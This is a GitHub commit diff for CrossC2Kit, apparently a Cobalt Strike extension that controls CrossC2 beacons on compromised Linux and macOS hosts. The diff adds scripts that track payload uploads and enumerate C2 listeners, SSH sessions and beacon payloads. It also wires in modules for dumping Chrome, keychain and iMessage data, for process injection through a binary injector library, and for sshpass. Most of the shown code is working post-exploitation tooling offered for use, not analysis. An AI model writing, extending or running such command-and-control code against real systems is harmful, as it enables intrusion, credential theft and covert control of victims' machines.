Skip to content

Commit 8efd045

Browse files
gloxecgloxec
authored
Merge pull request #118 from gloxec/CrossC2Kit-dev
Update CrossC2Kit & support inject and sshpass Former-commit-id: fd8bfcd
2 parents 7a188fb + a13578b commit 8efd045

File tree

7 files changed

+525
-30
lines changed

7 files changed

+525
-30
lines changed

‎CrossC2Kit/CrossC2Kit.cna‎

Lines changed: 190 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -133,7 +133,7 @@ sub bcrossc2_load_dyn_pro {
133133
berror($beaconid, "[ CrossC2 ]: dynamic lib or executable filetype not found");
134134
}
135135
$ELFName = genTaskinfo_dyn($taskType, $taskName, $taskResType, $taskNeedRun, $taskNeedPersistence, $taskXorKey, $juicySize, $taskArgs);
136-
bupload_raw($beaconid,$ELFName,$juicyData);
136+
bupload_raw!($beaconid,$ELFName,$juicyData);
137137
}
138138

139139
sub bcrossc2_load_dyn {
@@ -163,7 +163,7 @@ sub bcrossc2_load_dyn {
163163
berror($beaconid, "[ CrossC2 ]: dynamic lib or executable filetype not found");
164164
}
165165
$ELFName = genTaskinfo_dyn($taskType, $taskName, $taskResType, $taskNeedRun, $taskNeedPersistence, $taskXorKey, $juicySize, $taskArgs);
166-
bupload_raw($beaconid,$ELFName,$juicyData);
166+
bupload_raw!($beaconid,$ELFName,$juicyData);
167167
}
168168

169169
sub brun_script_in_mem {
@@ -187,5 +187,192 @@ sub brun_script_in_mem {
187187
$juicySize = lof($loadFileName);
188188

189189
$scriptName = genMemScriptInfo($scriptType, $scriptEngPath, $taskResType, $juicySize, $taskArgs);
190-
bupload_raw($beaconid,$scriptName,$juicyData);
190+
bupload_raw!($beaconid,$scriptName,$juicyData);
191+
}
192+
193+
@fileupload_list = @();
194+
global(@fileupload_list);
195+
sub bawait_upload {
196+
local('$bid $file_lpath $file_rpath $file_rname $file_data $file_size $cb $handle $file_list_count');
197+
$bid = $1;
198+
$file_lpath = $2;
199+
$file_rpath = $3;
200+
$file_rname = $4;
201+
$cb = $5;
202+
$cb_args = $6;
203+
$handle = openf($file_lpath);
204+
$file_data = readb($handle, -1);
205+
closef($handle);
206+
$file_size = lof($file_lpath);
207+
208+
btask($bid, 'upload file '.$file_lpath.' to '.$file_rpath.$file_rname);
209+
210+
$file_list_count = size(@fileupload_list);
211+
add(@fileupload_list, @($bid, $file_lpath, $file_rpath, $file_rname, $file_size, $cb, $cb_args, 'false' 'false'));
212+
bupload_raw!($bid, $file_rpath.'/'.$file_rname, $file_data);
213+
}
214+
215+
sub bawait_upload_raw {
216+
local('$bid $file_lpath $file_rpath $file_rname $file_data $file_size $cb $handle $file_list_count');
217+
$bid = $1;
218+
$file_data = $2;
219+
$file_rpath = $3;
220+
$file_rname = $4;
221+
$cb = $5;
222+
$cb_args = $6;
223+
$file_size = strlen($file_data);
224+
$file_lpath = random_string(10);
225+
226+
btask($bid, 'upload rawData file-['.$file_lpath.'] to '.$file_rpath.$file_rname);
227+
228+
$file_list_count = size(@fileupload_list);
229+
add(@fileupload_list, @($bid, $file_lpath, $file_rpath, $file_rname, $file_size, $cb, $cb_args, 'false' 'false'));
230+
bupload_raw!($bid, $file_rpath.'/'.$file_rname, $file_data);
231+
}
232+
233+
sub bcheck_file_size {
234+
this('$bid $file_path $file_name $file_size $realsize $name $temp $f_rname $f_match_size ');
235+
$bid = $1;
236+
$file_path = $2;
237+
$file_name = $3;
238+
$file_size = $4;
239+
240+
bls($bid, $file_path, lambda({
241+
this('@lines @subl $type $s $lastmod $name');
242+
this('$file_name $file_size $realsize $f_key $f_value $f_rname')
243+
@lines = split("\n", ["$3" trim]);
244+
@subl = sublist(@lines, 1);
245+
foreach $temp (@subl) {
246+
($type, $s, $lastmod, $name) = split("\t", $temp);
247+
if ($name eq $file_name) {
248+
$realsize = long($s);
249+
if ($realsize >= $file_size) {
250+
foreach $f_key => $f_value (@fileupload_list) {
251+
$f_rname = $f_value[3];
252+
if ($name eq $f_rname) {
253+
@fileupload_list[$f_key][7] = 'true';
254+
break;
255+
}
256+
}
257+
}
258+
break;
259+
}
260+
}
261+
}, $file_name => $file_name, $file_size => $file_size)
262+
);
263+
}
264+
on heartbeat_1s {
265+
local('$f_key $f_value $f_bid $f_lpath $f_rpath $f_rname $f_size $f_func $f_match_size');
266+
if (size(@fileupload_list) > 0) {
267+
foreach $f_key => $f_value (@fileupload_list) {
268+
$f_bid = $f_value[0];
269+
$f_lpath = $f_value[1];
270+
$f_rpath = $f_value[2];
271+
$f_rname = $f_value[3];
272+
$f_size = $f_value[4];
273+
$f_cb = $f_value[5];
274+
$f_cb_args = $f_value[6];
275+
$f_match_size = $f_value[7];
276+
$f_cb_runed = $f_value[8];
277+
278+
if ($f_match_size eq 'false') {
279+
bcheck_file_size($f_bid, $f_rpath, $f_rname, $f_size);
280+
}
281+
if ($f_match_size eq 'true') {
282+
if ($f_cb_runed eq 'false') {
283+
@fileupload_list[$f_key][8] = 'true';
284+
[$f_cb: $f_bid, $f_cb_args];
285+
break;
286+
}
287+
}
288+
}
289+
foreach $f_key => $f_value (@fileupload_list) {
290+
$f_match_size = $f_value[7];
291+
if ($f_match_size eq 'true') {
292+
removeAt(@fileupload_list, int($f_key));
293+
break;
294+
}
295+
}
296+
}
297+
}
298+
299+
ssh_alias list_uploadingFile {
300+
println(@fileupload_list);
301+
$bid = $1;
302+
local('$f_key $f_value $f_bid $f_lpath $f_rpath $f_rname $f_size $f_func $f_match_size');
303+
if (size(@fileupload_list) > 0) {
304+
foreach $f_key => $f_value (@fileupload_list) {
305+
$f_bid = $f_value[0];
306+
$f_lpath = $f_value[1];
307+
$f_rpath = $f_value[2];
308+
$f_rname = $f_value[3];
309+
$f_size = $f_value[4];
310+
$f_cb = $f_value[5];
311+
$f_cb_args = $f_value[6];
312+
$f_match_size = $f_value[7];
313+
$f_cb_runed = $f_value[8];
314+
blog($bid, $f_lpath);
315+
}
316+
}
317+
}
318+
319+
sub getCrossC2Site {
320+
local('%beacon_site $beacon_count $Description, $Proto, $Host, $Port, $URI');
321+
%beacon_site = %();
322+
$beacon_count = 0;
323+
foreach $site_list(sites()) {
324+
($Description, $Proto, $Host, $Port, $URI) = values($site_list, @('Description', 'Proto', 'Host', 'Port', 'URI'));
325+
if ("CrossC2" isin $Description) {
326+
$beaconURL = $Proto.$Host.':'.$Port.$URI;
327+
# 返回beacon_uri & beacon_description
328+
%beacon_site[$beacon_count] = @($Description, $beaconURL);
329+
$beacon_count += 1;
330+
}
331+
}
332+
return %beacon_site;
333+
}
334+
335+
sub getCrossC2Listener {
336+
local('%beacon_listener $beacon_count');
337+
%beacon_listener = %();
338+
$beacon_count = 0;
339+
foreach $listener(listeners_local()) {
340+
if ("CrossC2" isin $listener) {
341+
%beacon_listener[$beacon_count] = @($listener);
342+
$beacon_count += 1;
343+
}
344+
}
345+
return %beacon_listener;
346+
}
347+
348+
sub getSSHSession {
349+
local('%sessionMap $sessionCount');
350+
%sessionMap = %();
351+
$sessionCount = 0;
352+
foreach $beacon (beacons()) {
353+
($internal, $computer) = values($beacon, @('internal', 'computer'));
354+
$tempMenuBar = $internal."@".$computer;
355+
if (!-isactive $beacon['id']) {
356+
} else if (-isssh $beacon['id']) {
357+
%sessionMap[$sessionCount] = @($tempMenuBar);
358+
$sessionCount += 1;
359+
}
360+
}
361+
return %sessionMap;
362+
}
363+
364+
sub getCrossC2Beacon {
365+
local('$listener $type $beaconData');
366+
$listener = $1;
367+
$type = $2;
368+
369+
$beaconData = $null;
370+
if ($listener && $type) {
371+
if ($type eq 'lib') {
372+
$beaconData = listener_info($listener)['CrossC2libBeacon'];
373+
} else if ($type eq 'main') {
374+
$beaconData = listener_info($listener)['CrossC2Beacon'];
375+
}
376+
}
377+
return $beaconData;
191378
}

‎CrossC2Kit/CrossC2Kit_Loader.cna‎

Lines changed: 10 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,8 @@ include(script_resource("gather/browser/chrome_dump.cna"));
1414
include(script_resource("gather/keychain/keychain_dump.cna"));
1515
include(script_resource("gather/message/iMessage_dump.cna"));
1616
include(script_resource("utils/portscan_result.cna"));
17+
include(script_resource("process/processhelper.cna"));
18+
include(script_resource("sshpass/sshpass.cna"));
1719

1820
sub openMemoryFileLoadDialogCallBack {
1921
$taskFile = $3['taskFile'];
@@ -55,7 +57,7 @@ sub openMemoryFileLoadDialog {
5557

5658
sub openPythonImportDialogDialogCallBack {
5759
$pythonFile = $3['pythonFile'];
58-
blog($beaconid, $pythonFile);
60+
btask($beaconid, $pythonFile);
5961
$taskResType = "info"; # info -> normal message
6062
$scriptType = 'python-import$';
6163
$scriptEnginePath = 'null';
@@ -67,7 +69,7 @@ sub openPythonImportDialogDialogCallBack {
6769
$filename = substr($scriptLocalPath, $pathIndex);
6870

6971
$importName = substr($filename, 0, lindexOf($filename, '.'));
70-
blog($1, "[Python]: import ".$importName);
72+
btask($1, "[Python]: import ".$importName);
7173
$scriptType = $scriptType.$importName;
7274

7375
if ($scriptType && $scriptLocalPath) {
@@ -103,7 +105,7 @@ sub openRunMemoryFileDialogCallBack {
103105
} else {
104106
$shell = "cc2-run ".$fileAliasName." ".$taskArgs;
105107
}
106-
blog($beaconid, "[shell]: shell ".$shell);
108+
btask($beaconid, "[shell]: shell ".$shell);
107109
bshell($beaconid, $shell);
108110
}
109111

@@ -124,7 +126,7 @@ sub openRunMemoryFileDialog {
124126
sub openSetEnvDialogCallBack {
125127
$envKey = $3['envKey'];
126128
$envValue = $3['envValue'];
127-
blog($beaconid, "[shell]: shell setenv $envKey $envValue");
129+
btask($beaconid, "[shell]: shell setenv $envKey $envValue");
128130
bshell($beaconid, "setenv $envKey $envValue");
129131
}
130132

@@ -145,19 +147,10 @@ popup ssh {
145147
menu "&Access" {
146148
item "&Elevate" { openElevateDialog($1); }
147149
}
148-
menu "&Explore" {
149-
item "&File Browser" {
150-
local('$bid');
151-
foreach $bid ($1) {
152-
openFileBrowser($bid);
153-
}
154-
}
155-
item "&Process List" { openProcessBrowser($1); }
156-
}
157150
menu "&CrossC2 Kit" {
158151
menu "&executable" {
159152
item "&list" {
160-
blog($1, "[shell]: shell cc2-memoryList");
153+
btask($1, "[shell]: shell cc2-memoryList");
161154
bshell($1, "cc2-memoryList");
162155
}
163156
item "&load" {
@@ -176,28 +169,21 @@ popup ssh {
176169
openPythonImportDialog($1);
177170
}
178171
}
179-
item "&Spawn" {
180-
local('$bid');
181-
foreach $bid ($1) {
182-
blog($bid, "[shell]: shell spawn");
183-
bshell($bid, "spawn");
184-
}
185-
}
186172
}
187173

188174
ssh_alias spawn {
189-
blog($1, "[shell]: shell spawn");
175+
btask($1, "[shell]: shell spawn");
190176
bshell($1, "spawn");
191177
}
192178

193179
ssh_alias getsystem {
194-
blog($1, "[shell]: shell getsystem");
180+
btask($1, "[shell]: shell getsystem");
195181
bshell($1, "getsystem");
196182
}
197183

198184
ssh_alias setenv {
199185
if($2 && $3){
200-
blog($1, "[shell]: shell setenv $2 $3");
186+
btask($1, "[shell]: shell setenv $2 $3");
201187
bshell($1, "setenv $2 $3");
202188
} else {
203189
berror($1, "*[error]: setenv env_name env_value");

‎CrossC2Kit/process/libinjector64.so‎

44.6 KB
Binary file not shown.

0 commit comments

Comments
 (0)